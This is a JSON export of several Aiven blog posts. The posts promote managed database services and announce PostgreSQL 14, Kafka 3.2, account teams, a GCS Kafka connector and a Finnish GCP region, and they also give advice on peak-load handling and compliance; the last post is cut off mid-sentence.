{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5mphVpZ9KwsYIklKpnPm1Q","_rev":"tW7kMBSHIbCIaN9dzsHnEq","_type":"post","_updatedAt":"2023-06-19T08:35:03Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"A lot of DBAs these days are starting to warm up to the idea of using managed database services, with good reason. But many are still resisting. Why is that? \nIn this piece, we’ll address the objections that DBAs and others have with managed services, and then look at some of the real benefits of managed database services.\n\n__What even are managed services? What is DBaaS?__\n\n*In a managed service, processes and functions are packaged together and sold to customers to improve and simplify operations as well as slash expenses. Managed services involve a relationship between a service provider who builds and maintains the services as well as a subscriber or customer who buys those services. These two parties are bound by a contract known as a service-level agreement (SLA), which outlines the agreed performance, latency and other quality requirements of the service.*\n\n*A database as a service (DBaaS) is a refinement of that concept which focuses on databases. DBaaS allows the subscriber to outsource the hosting and management of the database.* \n\n## We won't take your job!\nWhat happens to DevOps, Data Engineers and DBAs when managed services are adopted to replace on-prem or self-managed cloud services?\n\nIn general, there will certainly be less need for on-premise data pipeline engineers in the future. In the open-source (and software) world, one of the main aims is to build up and share foundations upon which future innovation can take root. A natural consequence is that there will be a lot less reinventing the wheel and building up the same thing all over again from scratch.\n\nEven today it’s a challenge to put together a talented team of any kind in the IT sector, DevOps included. And many experts shun repetitive work, regardless of whether their title contains the word ‘maintenance’ or ‘development’. Managed solutions help your company to manage with fewer staff. If you’re a developer, data scientist or, yes, a DBA, in a managed infrastructure setup you can work with tasks that you find meaningful.\n\nImagine a world where you could dedicate your time and effort almost exclusively on these:\n- getting real insights and analytics from ALL the data\n- discovering new things to do with data\n- providing data engineering support (focusing on on data analytics)\n- data science\n- modelling and testing data models\n- data visualization\n- building and training AI and ML\n- building business end applications?\n\n## You will still control your system!\nTaking managed cloud solutions into use means in-house staff will have less control over the minutiae of database setup and management. In practical terms, this means less sharding and replication, less hardware configuration, less setting up, fewer updates, less reliability engineering, less latency tweaking, and less throughput engineering.\n\nOkay, some techies do like doing all that, and the rest of the techies love them for it. But are there enough of them to keep all of your infra running? (See previous point about jobs.) Chances are, at least some of those crucial concerns are being dealt with by people who are not interested and whose core competencies lie elsewhere. That’s where the risks come in: misconfigurations, less than optimal optimizations, infra tweaks that break the build.\n\nWith a managed cloud solution, all risare partly eliminated as the experts minding the infra are experts _at_ minding the infra. And the rest of the risk is externalised: if the hosting company fouls up, they pay for it, not you.\n\nAnd Aiven’s DBaaS and hosted Kafka are ISO 27001-2013 and SOC2 compliant, so you know exactly where you stand with industry standard compliance and trust.\n\n## It doesn’t cost too much! \nDoes it really cost too much to buy your database as a service?\n\nFor an on-prem service, you need, well, premises. Then there’s the hardware outlay, electricity, security, building maintenance, insurance, connectivity.... And it goes on from there. All these things cost money. \n\nRegular tasks related to database management include monitoring, regular upgrades, configuration tuning, updates, extension management, tracking software updates, data migration between versions, test suites, ops on-call duties, certification management, and network encryption. As noted above, you need a team for that, and they certainly don’t work for free. They’re providing the same service as a DBaaS provider’s team, but only for your company, so you’re paying all the staff costs.\n\nBesides, when you buy your own infra, you have to buy enough capacity to handle peak load times. But not all times are peak load times (duh, that’s the point) and during quiet periods, that extra infra is just sitting there, costing money.\n\n![Responsibilities and costs](//cdn.sanity.io/images/sczeoy4w/production/75dd2d37d005a7090467224cd1621cddbc3dc403-1400x353.png)\n\nWith a managed solution, you only have to take care of the stuff with the white background. The grey background ones are our headache.\n\nTo bring the discussion down to earth, have a look at [Aiven’s pricing page](https://aiven.io/pricing \"Pricing | Aiven.io\"), and then at what your company is (or would be) paying for an on-prem solution. \n\n## Still having questions?\nIn addition to allowing you and your team to focus on your core business, Aiven gives you technical support 24-7. We’re happy to answer any questions and address any issues that arise in conjunction with our services!\n\n## Wrapping up\nFor DBAs who like to develop their skills and focus on what really matters to the company, the best thing that can happen is moving to a managed service at Aiven(*). \n\nFor the bosses of DBAs and their companies, the best thing that can happen is also moving to a managed service at Aiven. \n\nTalk about win-win!\n\n--\n\n(*) \nAnd if it so happens that you’re like us and love maintaining that routine and putting out fires, [come work at Aiven](https://aiven.io/careers) ;)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308-jpg","_type":"reference"}},"publishedAt":"2021-11-12T00:00:00.000Z","seo":{"metaDescription":"Some DBAs object to moving from on-prem (or self-hosted) to managed services. We hear you, but read this post to find out our side of the issue.","metaImage":{"alt":"","asset":{"_ref":"image-84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308-jpg","_type":"reference"}},"metaTitle":"Why DBAs embrace managed services"},"slug":{"_type":"slug","current":"/blog/dbas-shouldnt-be-afraid-of-managed-services"},"subtitle":"Some DBAs object to moving from on-prem (or self-hosted) to managed services. We hear you, but read this post to find out our side of the issue.","title":"Why DBAs embrace managed services"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1mtXHhmSbtLMhdjzLrSP2N","_rev":"V5UdSzFEWrLT7ZlMFNm0xX","_type":"post","_updatedAt":"2023-06-19T08:17:21Z","authors":[],"body":"Aiven is happy to release PostgreSQL 14.0, announced on 30 September 2021. This new version contains several new features and improvements. Here are the main highlights: \n\n- Stored procedures can now return data via `OUT` parameters.\n- The SQL-standard `SEARCH` and `CYCLE` options for common table expressions have been implemented.\n- Subscripting can now be applied to any data type for which it is a useful notation, not only arrays. In this release, the `jsonb` and `hstore` types have gained subscripting operators.\n- Range types have been extended by adding multiranges, allowing representation of noncontiguous data ranges.\n- Numerous performance improvements have been made for parallel queries, heavily-concurrent workloads, partitioned tables, logical replication, and vacuuming.\n- B-tree index updates are managed more efficiently, reducing index bloat.\n- VACUUM automatically becomes more aggressive, and skips inessential cleanup, if the database starts to approach a transaction ID wraparound condition.\n- Extended statistics can now be collected on expressions, allowing better planning results for complex queries.\n- libpq now has the ability to pipeline multiple queries, which can boost throughput over high-latency connections.\n\nFurther details on all new features are listed in the [PostgreSQL web page](https://www.postgresql.org/docs/release/14.0/).\n\n## How to get started with PostgreSQL14.0\n\nUpgrade to PostgreSQL 14 to take advantage of these features. If you already use [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL | Aiven website\"), you can run an in-place upgrade to migrate to the newest version.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds and our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-23c29f5369633a889bb4603da4beb46bc525c39f-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-16T00:00:00.000Z","seo":{"metaDescription":"We have upgraded to the latest PostgreSQL version. And it's great! Read on to find out what changes for you and what you need to do. ","metaImage":{"alt":"","asset":{"_ref":"image-23c29f5369633a889bb4603da4beb46bc525c39f-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Aiven for PostgreSQL® 14.0"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-postgresql-14-0"},"subtitle":"We have upgraded to the latest PostgreSQL version. And it's great! Read on to find out what changes for you and what you need to do. ","title":"Announcing Aiven for PostgreSQL® 14.0"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2e9oSFiIAbfwpjE0ZWBdhF","_rev":"V5UdSzFEWrLT7ZlMFOAcil","_type":"post","_updatedAt":"2023-08-03T10:36:55Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"As the Aiven community grows, we rely on our users to tell us how to make the Aiven console more efficient, usable and powerful. We get great feedback from our users every day, and we read every single tweet, comment, and email.\n\nWe’re happy to announce that managing larger organizations in the Aiven Console will now be a whole lot easier. You can now create teams to help you map your internal organization structure to your Aiven account. Allocating users into teams reduces administrative work, provisioning access across multiple Aiven projects by grouping users with similar needs.\n\n## The new ‘Teams’ feature\n\nIn the past, project administrators would have to provision project access to users one-by-one, and this became time consuming with lots of projects in an account. In addition, updating/removing user access rights was notably difficult.\n\nWe’ve fixed these issues, and also added additional functionalities. As the first step towards easing administration, we've introduced 'Accounts' for grouping projects to manage common attributes shared between them. As an account owner, you can easily group users with similar access needs across multiple projects into 'Teams'. You can invite new team members to join, and assign your teams to one or more projects in your account.\n\nThe users in your account can belong to multiple projects, and the administrator can easily provision user access to multiple projects in the same view. In addition, when a user’s role/department in the company changes or they leave the company, updating/removing user's access rights is now a breeze. Teams work seamlessly with projects, and you can associate any team with any project in your account. Lastly, we’ve made it possible to set SAML authentication with SSO for users.\n\nFor step-by-step instructions on how to use the new teams feature, read our [help center article.](https://help.aiven.io/en/articles/3504926-account-management-in-console)\n\n## Upcoming management features\n\nEnhanced account management features have been highly requested from the Aiven community, so we thought we’d take a more structured approach. The introduction of teams is just the first step, and we’re hard at work on the next phase - [the addition of billing groups](https://aiven.io/blog/better-cost-management-with-billing-groups \"News about billing groups rollout\"). With billing groups, you’ll be able to set a default billing group for associated projects to consolidate costs into a single invoice - making your finance department’s job a bit easier.\n\nStay tuned to our blog for more details about the launch of billing groups. In the meantime, follow our [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-06-18T00:00:00.000Z","seo":{"metaDescription":"You asked, we listened. You wanted better account management features for larger companies - today, they're available for use!","metaImage":{"alt":"","asset":{"_ref":"image-0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646-jpg","_type":"reference"}},"metaTitle":"Managing projects just got easier in Aiven"},"slug":{"_type":"slug","current":"/blog/managing-projects-just-got-easier-in-aiven"},"subtitle":"You asked, we listened. You wanted better account management features for larger companies - today, they're available for use!","title":"Managing projects just got easier in Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2849jbhN3l1kxH3sG2119P","_rev":"V5UdSzFEWrLT7ZlMFOAcbp","_type":"post","_updatedAt":"2023-08-03T10:36:49Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"__We’ve recently created and released the Aiven GCS Kafka Sink Connector.__ This connector will allow you to move data from your Kafka clusters to Google Cloud Storage. Even better, it is open source.\n\n\u003e By making it open source, we ensure that you can use our connector regardless of whether you host and manage Kafka yourself or choose a service provider to do so.\n\nYou can [learn how to configure and use it here](https://help.aiven.io/en/articles/2888122-aiven-kafka-gcs-sink-connector). If you would like to make contributions to the project and request features, [visit our project here](https://github.com/aiven/gcs-connector-for-apache-kafka). But before you go, let’s look at Kafka connectors in a little more detail.\n\n## Why Kafka connectors are important\n\nSimply put, Kafka needs connectors to live up to its full potential. These connectors allow you to couple Kafka with other systems so that you can easily do things such as streaming Change Data Capture.\n\nThey come in two forms, source and sink. The former connects a source of data to Kafka while the latter does the opposite. For example, the GCS sink connector for sending Kafka data to Google Cloud Storage.\n\n\u003e But there’s an issue: many of these connectors have either been released as proprietary or undergone license changes that have restricted their use.\n\nThat is part of the reason why we’ve begun to create our own connectors, to support our customers’ needs. However, there’s an additional philosophical reason—to continue supporting the open source community.\n\n## Not the first connector nor the last\n\nOur first two open source Kafka connectors are sinks to Amazon S3 and GCS. We’ll continue to improve on [our existing connectors](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors) and extend the list. Remember, we consider your feedback when deciding what to offer.\n\n\u003e So make sure you let us know what Kafka connectors you’re interested in and if there is enough demand, we’ll make sure to include it.\n\nIn the meantime, sign up to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds to stay up-to-date with the latest Aiven news, and don’t forget to follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). If you’re not an Aiven customer, [test our platform out with a 30 day free trial](https://console.aiven.io/singup).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f93ae7ec375963091127e3dacf59a64a78c69456-752x405-png","_type":"reference"}},"publishedAt":"2019-04-21T21:00:00.000Z","seo":{"metaDescription":"Aiven's latest open source connector allows you stream Kafka data to GCS, read this post to learn more about it.","metaImage":{"alt":"","asset":{"_ref":"image-f93ae7ec375963091127e3dacf59a64a78c69456-752x405-png","_type":"reference"}},"metaTitle":"Aiven open sources Google Cloud Storage Kafka connector"},"slug":{"_type":"slug","current":"/blog/aiven-open-sources-google-cloud-storage-kafka-connector"},"subtitle":"Aiven's latest open source connector allows you stream Kafka data to GCS, read this post to learn more about it.","title":"Aiven open sources Google Cloud Storage Kafka connector"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1fHPryeemeTfDEfsVMg6Gd","_rev":"4xxJDWP8Sw6o7zBrUAiCXN","_type":"post","_updatedAt":"2023-08-03T10:36:45Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Yesterday, GCP (Google Cloud Platform) brought their first Nordic cloud online, europe-north1. A former papermill turned data center, __europe-north1 is a three-zone region__ catering to end-users in the Nordics and Easter Europe.\n\n\u003e And today, __Aiven became the first independent, ISO 27001 certified DBaaS__ to offer production-ready PostgreSQL, Kafka, Elasticsearch and other services in GCP Finland.\n\nWhile it is a big deal for current and future Aiven clients, the availability of a GCP Nordic cloud is important in its own right because of its potential performance improvements and sustainability features. Let’s check them out!\n\n## Why is GCP’s latest region important?\n\nGCP's [latest region marks their 5th in Europe](https://cloudplatform.googleblog.com/2018/06/GCP-arrives-in-the-Nordics-with-a-new-region-in-Finland.html), allowing them to drastically improve latencies for Nordic and Eastern European end-users, by __anywhere from 65% to 88%__, than when hosting in the next closest regions.\n\nBut you don’t have to take their word for it, you can see for yourself by measuring and comparing your latency across multiple GCP regions through the GCPing tool: you can access it [here](https://www.gcping.com).\n\nEven better, __it is less expensive than some other European regions__. Whether due to lower electricity costs from its use of the Gulf of Finland for cooling or something else, it is good news for expenses and the environment.\n\n## GCP Finland increases Aiven’s regions to 71\n\nBy offering GCP's latest addition, we continue to increase our lead as the largest DBaaS provider in terms of cloud coverage with __71 cloud regions worldwide.__\n\nTherefore, any Aiven customer with a local or international data scope can be confident that they will always be provided with the most proximate hosting solutions available for their managed services.\n\nStay tuned for more region releases by joining our [blog](/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). In the meantime, feel free to deploy in europe-north1!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405-png","_type":"reference"}},"publishedAt":"2018-06-19T00:00:00.000Z","seo":{"metaDescription":"GCP is now in the Nordics with its first cloud region in Finland; find out why it's a big deal for Aiven and non-Aiven users.","metaImage":{"alt":"","asset":{"_ref":"image-ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405-png","_type":"reference"}},"metaTitle":"Google cloud is now over Finland"},"slug":{"_type":"slug","current":"/blog/google-cloud-now-over-finland"},"subtitle":"GCP is now in the Nordics with its first cloud region in Finland; find out why it's a big deal for Aiven and non-Aiven users.","title":"Google cloud is now over Finland"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2C52NmC1EuMExPXg9XNCtD","_rev":"4xxJDWP8Sw6o7zBrUAiFRf","_type":"post","_updatedAt":"2023-08-03T10:36:50Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"In retail, high network traffic is generally a good thing that means people are flocking to your site and buying your stuff. But the flip side is that times of heavy load really highlight every weakness in your system. The services become slow or unresponsive, the customers get irate, sysadmins field phone calls from execs demanding to know why their Cousin Alice couldn’t get through to buy that discounted power drill… \n\nWe’ve all been there, right? And none of us want to be there again. So here are some tips on what to do when that traffic load starts going through the roof.\n\nAs a general note, do keep an eye on your metrics. For Aiven customers, the Metrics tab in the [Aiven Console](https://console.aiven.io \"Aiven Console main page\") keeps you informed about your system status. We do send warning e-mails about critical levels (for example, \u003e90% disk usage, sustained high load average, and running out of memory), but if you know a peak is coming it’s simply good practice to monitor them yourself.\n\nThe single easiest way to handle additional traffic is to upgrade your service plan. The Aiven Console even has a button for it, look:\n\n![Upgrade Aiven Service Plan](//cdn.sanity.io/images/sczeoy4w/production/6664a7450876fc38317a8d9d16f034edb449fd96-948x116.png)\n\nWhat that Aiven service upgrade does is save you a lot of fiddling and grief. You get new nodes with additional CPUs, RAM, and storage; the latest data then gets streamed across and the system performs a controlled failover to the new nodes. And that’s it. \n\nFor small services, this takes minutes, for larger ones it might take some hours. The catch is that you really should upgrade before your load peaks, so that that failover is in fact controlled and modifications to data don’t slow down the process. \n\nLet’s have a look at what you can do if your services are about to get steamrollered.\n## 1. Take some downtime\nNo, this doesn’t mean escape to the beach or hide in a closet. \n\nIf you’ve left upgrading your plan too late, or if even the new plan isn’t enough to handle the traffic, you can bite the bullet and make modifications. Cut writes from your application code to reduce load on the existing nodes to help the node replacement complete faster. To do this, you need to take your services offline for a while, so it’s obviously not ideal.\n## 2. Make more disk space available\nWhen the disk is getting full, the first thing to go are backups because left to its own devices, your system will just keep writing in new data. As far as Aiven services are concerned, many of them will stop accepting writes when the disk is almost full precisely to make sure that there’s always enough disk space to take backups. \n\nYou can always delete some data to make space for new writes, but that’s rather like putting a band-aid on a burn--sure it helps, but you still need to get it seen to. We highly recommend upgrading your plan so that you don’t lose data at peak loads.\n## 3. Add processing power\nMake sure that you have enough CPU power to handle the increased load. Keep monitoring your load average and make sure that it stays below the number of CPUs available on your service plan.\n\nIf the [load average](https://en.wikipedia.org/wiki/Load_(computing) \"Wikipedia article on *load*\") gets too high, you can try and track down the cause from your monitoring software and resolve it. But if time is of the essence, you can temporarily add more CPUs by upgrading your plan.\n## 4. Create more database connections\nAs your application scales horizontally to accommodate increased traffic, it will usually also consume more database connections. Check the service specific documentation for the connection limits that apply to you.\n\nIf you’re running Postgres, you can use transaction or statement level connection pooling to accommodate more connections. For everyone else, though, the easiest way out is, again, to upgrade your plan to set up more connections.\n## 5. Speed up queries\nIf you are using [Postgres](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [MySQL](https://aiven.io/mysql \"Aiven for MySQL\"), inefficient queries can consume CPU time and memory unnecessarily. This time, you’ll be surprised to learn that although upgrading your plan might help, it’s often not enough to solve the issue. \n\nOne good way to speed up your queries is to create new indexes. First, go find the longest running or most frequent queries; in Aiven Console this is easy to do by sorting the columns in the Query Statistics table. Then you can run EXPLAIN queries to see if any new indexes need to be created.\n\nIf you’re an Aiven for Postgres user on a Business or Premium plan, you have a HA setup with standby nodes. You can run read-only queries directly on these standby nodes to reduce the impact of slow queries on the primary node.\n## +1: Get a better support contract\nAll Aiven customers have access to Basic support using the chat widget in the Aiven Console and the help pages. However, when Black Friday rolls around, it’s a good time to re-evaluate your support contract. You want to make sure that if things do go haywire, you won’t be alone in front of your monitor trying to solve impossible problems. \n\nTo get started on upgrading your support, contact your account manager or send an e-mail to [sales@aiven.io](mailto:sales@aiven.io) and we’ll take it from there.\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") or [Aiven for MySQL](https://aiven.io/mysql \"Aiven for MySQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-34f533728f453092988b6565ac3d17fc62c5f92d-1567x844-png","_type":"reference"}},"publishedAt":"2020-11-25T00:00:00.000Z","seo":{"metaDescription":"Black Friday is THE peak load time of the year, the great holiday of the retail world. Find out what to do if your services start to overload.","metaImage":{"alt":"","asset":{"_ref":"image-34f533728f453092988b6565ac3d17fc62c5f92d-1567x844-png","_type":"reference"}},"metaTitle":"How to avoid high-load disasters in managed database services"},"slug":{"_type":"slug","current":"/blog/5-1-ways-to-avoid-high-load-disaster"},"subtitle":"Black Friday is THE peak load time of the year, the great holiday of the retail world. Find out what to do if your services start to overload.","title":"How to avoid high-load disasters in managed database services"}
{"__i18n_lang":"en","_createdAt":"2022-09-09T07:47:22Z","_id":"46a1a625-aaa6-4bc5-9a79-c2e6af4d2504","_rev":"j5OhKGUVbND2aFEj9l9zXC","_type":"post","_updatedAt":"2022-11-09T10:08:02Z","authors":[{"_key":"713c846ed748","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"## What’s new in Apache Kafka 3.2\n\nThe  release of Apache Kafka 3.2 brings numerous improvements and bug fixes (you can read about them all in the [release notes](https://archive.apache.org/dist/kafka/3.2.0/RELEASE_NOTES.html \"Release Notes - Kafka - Version 3.2.0\")). \n\nAt Aiven, we're especially pleased to see how version 3.2 brings us a step closer to switching to self-managed metadata quorum based on KRaft.\n\nHere are some of our top highlights in version 3.2:\n\n## Standard Authorizer\n\n[KIP-801: Implement an Authorizer that stores metadata in _cluster_metadata](https://cwiki.apache.org/confluence/display/KAFKA/KIP-801%3A+Implement+an+Authorizer+that+stores+metadata+in+__cluster_metadata \"KIP-801 | Confluence\")\n\nThe Standard Authorizer is a built-in Authorizer for KRaft mode that does not depend on ZooKeeper. It's an important step in further removing ZooKeeper dependencies from Apache Kafka.\n\nAt Aiven we use our own [fully open-source authoriser](https://github.com/aiven/auth-for-apache-kafka) which is already KRaft-ready.\n\n## New leader recovery state\n\n[KIP-704: Send a hint to the partition leader to recover the partition](https://cwiki.apache.org/confluence/display/KAFKA/KIP-704%3A+Send+a+hint+to+the+partition+leader+to+recover+the+partition \"KIP-704:| Confluence\")\n\nAllows the controller to indicate to the newly elected topic partition leader whether it was selected using an “unclean leader election”. This process could be used, for example, in cases when transaction status is inconsistent. It helps in coordinating cluster recovery.\n\n## List all connectors\n\n[KIP-769: Connect APIs to list all connector plugins and retrieve their configuration definitions](https://cwiki.apache.org/confluence/display/KAFKA/KIP-769%3A+Connect+APIs+to+list+all+connector+plugins+and+retrieve+their+configuration+definitions \"KIP-769 | Confluence\")\n\nConnect APIs are now able to list all connector plugins. This allows users to list all available connectors without needing to know the Connect runtime set-up. There’s also an additional endpoint that returns the configs of a specific connector plugin.\n\n## How to get started with Aiven for Apache Kafka 3.2\nYou can either launch a brand new cluster in [Aiven console](https://console.aiven.io/ \"Aiven console\") or conduct a no-downtime upgrade to the latest version.\n\nTo find out more about upgrade paths and get answers to any questions, check out [the release notes for the project itself](https://archive.apache.org/dist/kafka/3.2.0/RELEASE_NOTES.html).\n\n## Wrapping up\nTo find out more about Apache Kafka, take a look at our post [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka \"A brief introduction to Apache Kafka\").\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Start a free trial\")!\n\nIn the meantime, make sure you follow our changelog and blog RSS feeds or our LinkedIn and Twitter accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"363db6b0c915","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"4a01985c7a33","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1cb4c8e313f8","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688-png","_type":"reference"}},"publishedAt":"2022-08-03T07:42:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven now supports the newly released Apache Kafka version 3.2, which comes with a number of enhancements. Read on to find out what it means for you.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688-png","_type":"reference"}},"metaTitle":"Aiven supports Apache Kafka® 3.2"},"slug":{"_type":"slug","current":"/blog/aiven-supports-apache-kafka-3.2"},"subtitle":"Aiven now supports the newly released Apache Kafka version 3.2, which comes with a number of enhancements. Read on to find out what it means for you.","title":"Aiven supports Apache Kafka® 3.2"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4VOnZBlI7irStOfihS2uKr","_rev":"4xxJDWP8Sw6o7zBrUAiKvL","_type":"post","_updatedAt":"2023-08-03T10:37:06Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Corporations are increasingly including cloud services in their data architecture, [says Gartner](https://www.gartner.com/en/newsroom/press-releases/2020-11-17-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-grow-18-percent-in-2021 \"Link to Gartner press release about worldwide cloud service adoption\"). As well they should. Compared to proprietary on-premises systems, cloud services are more easily scalable, reliably available and reasonably priced. \n\nThe concern that the IT community has felt over cloud data security is fading, too. In the care of full-time security professionals, the data security of cloud environments is often better than their in-house counterparts.  \n\nBut there is one set of companies whose cloud adoption lags behind. Companies in regulated industries face an interesting conundrum. The companies themselves may be well aware that a cloud service is secure. If they’re lucky, even their customers may understand this to be the case. \n\nBut how can they convince regulatory bodies that customer data is safe and being handled appropriately throughout its lifecycle, even if it takes a spin through the cloud layer?\n## The role of standards and compliance\nLots of industries have their own standards that define how to store and handle data related to their field. They ensure that data is not at risk of being accessed or manipulated in a way that hurts those who provided that data or are represented in it. \n\nThis is done through a shared set of best practices and defining the minimum level of data security. In short, the fact that Company, Inc. is awarded a certificate of compliance tells the regulators and the general public that Company, Inc.’s practices are secure.\n\nIf Company, Inc. now purchases cloud services, the issue starts getting… well, clouded. The company is at risk of voiding their certification if the practices of their cloud service provider don’t live up to the standard. Purchasing companies are therefore very careful in selecting providers. At the same time, they’re not keen to spend time and money auditing other companies themselves.\n\nHere’s where the importance of certification for cloud providers comes in. If the CSP can bring their own certification to the table, Company Inc.’s purchasing decision becomes much easier. They instantly know what they can expect, and can continue to assure their own customers that their services continue to be compliant.\n\nFor the CSP, the process of getting certified may feel like a drag. You may figure that if a customer wants a piece of paper signed, they should be the ones to jump through the hoops to get it.\n## Certs, please!\nAt Aiven, we have a different approach. We’re more “give us _all_ the certs”! [We maintain compliance in all major data regulations and are ISO 27001 certified](https://aiven.io/security-compliance \"Aiven's security compliance page\").\n\nCertainly part of the reason we do this is that it’s easy to use the standards to communicate the level of our security. A bigger part is that it helps our customers to ensure that they stay compliant where it comes to the services they provide for their own users. \n\nBut there’s a third reason. We care about your data. We want to keep it safe. And compliance with the relevant standards means we don’t have to do all that work of figuring out what could go wrong. The work is already done, in the requirements that have to be met for compliance. Certification isn’t the point, and compliance isn’t the point. \n\nThe point is to provide a secure, high-quality environment to store your data. Compliance with security standards is one of the tools we use to achieve that.\n\n### P.S. That’s not enough…\nWe’d be remiss if we didn’t remind you at this point that it’s not enough to be compliant. Responsibility for data security lies with all parties involved. Data is only as protected as the weakest link in the chainmail allows.\n### P.P.S. Further reading\nIf you're interested in how Aiven actually implements security, [read our Help 